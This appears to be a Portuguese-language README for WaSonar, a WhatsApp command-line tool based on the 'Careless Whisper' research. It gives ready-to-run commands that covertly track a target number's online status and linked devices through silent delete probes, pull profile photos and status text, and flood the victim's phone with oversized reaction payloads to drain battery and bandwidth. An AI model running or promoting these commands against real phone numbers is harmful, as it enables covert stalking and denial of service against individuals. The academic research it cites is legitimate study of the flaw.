WaSonar

Aviso: Esta ferramenta é apenas para fins educacionais e pesquisa de segurança. Os desenvolvedores não são responsáveis pelo uso indevido. Por favor, use com responsabilidade e ética.

WaSonar é uma poderosa ferramenta CLI projetada para pesquisa educacional, rastreamento de dispositivos e testes de estresse no protocolo WhatsApp. Construída sobre o Baileys.

Funcionalidades • Instalação • Uso

Funcionalidades

• Rastreamento de Dispositivos em Tempo Real: Detecta o status online/offline exato de todos os dispositivos vinculados (Telefone, Web, Desktop).
• Descoberta de Dispositivos: Lista todos os dispositivos vinculados a um número alvo (Telefone principal + Dispositivos companheiros).
• Extração de Perfil: Obtém fotos de perfil, informações de status/sobre e JIDs.
• Exaustão de Recursos: Sobrecarrega dispositivos usando payloads de reação superdimensionados (Modos Agressivo/Lento).

Instalação

Via NPM (Recomendado)

npm install -g wasonar-cli

Via NPX (Sem instalação necessária)

npx wasonar-cli <command>

A partir do Código Fonte

git clone https://github.com/AjayAntoIsDev/wasonar.git
cd wasonar
npm install

Uso

1. Autenticação

Primeiro, você precisa autenticar-se com uma conta do WhatsApp.

wasonar-cli login

Escaneie o código QR que aparece no seu terminal.

2. Descoberta de Dispositivos

Lista todos os dispositivos conectados a um número alvo.

wasonar-cli devices <target-number>

# Exemplo:
wasonar-cli devices 919876543210

3. Status Online & RTT

A funcionalidade principal. Envia sondas silenciosas para detectar se os dispositivos estão online e medir a latência.

# Sondar infinitas vezes (padrão)
wasonar-cli online 919876543210

# Enviar número específico de sondas
wasonar-cli online 919876543210 --probes 5

# Salvar resultados em arquivo
wasonar-cli online 919876543210 --output ./logs

Nota: PENDING/OFFLINE significa que o servidor recebeu a mensagem, mas o dispositivo alvo não confirmou o recebimento.

4. Extração de Perfil

Obtém a foto de perfil e o status do usuário.

# Exibir informações e baixar foto de perfil
wasonar-cli profile 919876543210 --output ./profiles

5. Exaustão de Recursos

⚠️ APENAS PARA FINS EDUCACIONAIS. Envia payloads superdimensionados em alta frequência.

# Modo Agressivo (Padrão: 250 req/s, payload de 1KB)
wasonar-cli exhaust 919876543210

# Modo Lento (10 req/s, payload de 500B)
wasonar-cli exhaust 919876543210 --aggression slow

# Definir duração
wasonar-cli exhaust 919876543210 --duration 30

Metodologia

Sondas Silenciosas

WaSonar usa "Sondas de Exclusão Silenciosa" para detectar o status online sem alertar o alvo.

1. Envia uma mensagem revogada (delete) para um ID de mensagem inexistente.
2. O dispositivo alvo recebe esta solicitação de "delete".
3. Se estiver online, o dispositivo envia um comprovante_de_entrega (status 3) para a mensagem de protocolo.
4. WaSonar captura este comprovante para confirmar o status online e calcular o RTT.

Ataque de Exaustão

Baseado na pesquisa "Careless Whisper", este ataque explora a lacuna de validação no tratamento de reações do WhatsApp.

Detalhes Técnicos

Embora as reações não sejam exibidas no telefone alvo se inválidas, elas ainda são recebidas e processadas.

• Limites de Payload: Os servidores do WhatsApp permitem payloads de reação de até 1 MB.
• Processamento: O cliente tenta processar essas mensagens antes de descartá-las (limite de ~30 bytes para exibição válida), consumindo recursos.

Análise de Impacto

Dados de pesquisa indicam potencial significativo para exaustão de recursos:

• Inflação de Tráfego: Uma única sessão pode gerar ~3,7 MB/s (13,3 GB/hora) de tráfego encoberto.
• Drenagem de Bateria: O processamento rápido dessas mensagens pode drenar 14-18% de bateria por hora em smartphones modernos (testado no iPhone 13 Pro, S23) enquanto o dispositivo está em espera.
• Negação de Serviço: O consumo de largura de banda pode levar à negação de serviço para outros aplicativos no dispositivo da vítima.

Citação

Baseado na pesquisa de Gegenhuber et al., Universidade de Viena & SBA Research:

@inproceedings{gegenhuber2024careless,
  title={Careless Whisper: Exploiting Silent Delivery Receipts to Monitor Users on Mobile Instant Messengers},
  author={Gegenhuber, Gabriel K. and G{\"u}nther, Maximilian and Maier, Markus and Judmayer, Aljosha and Holzbauer, Florian and Frenzel, Philipp {\'E}. and Ullrich, Johanna},
  year={2024},
  organization={University of Vienna, SBA Research}
}

Criado por AjayAnto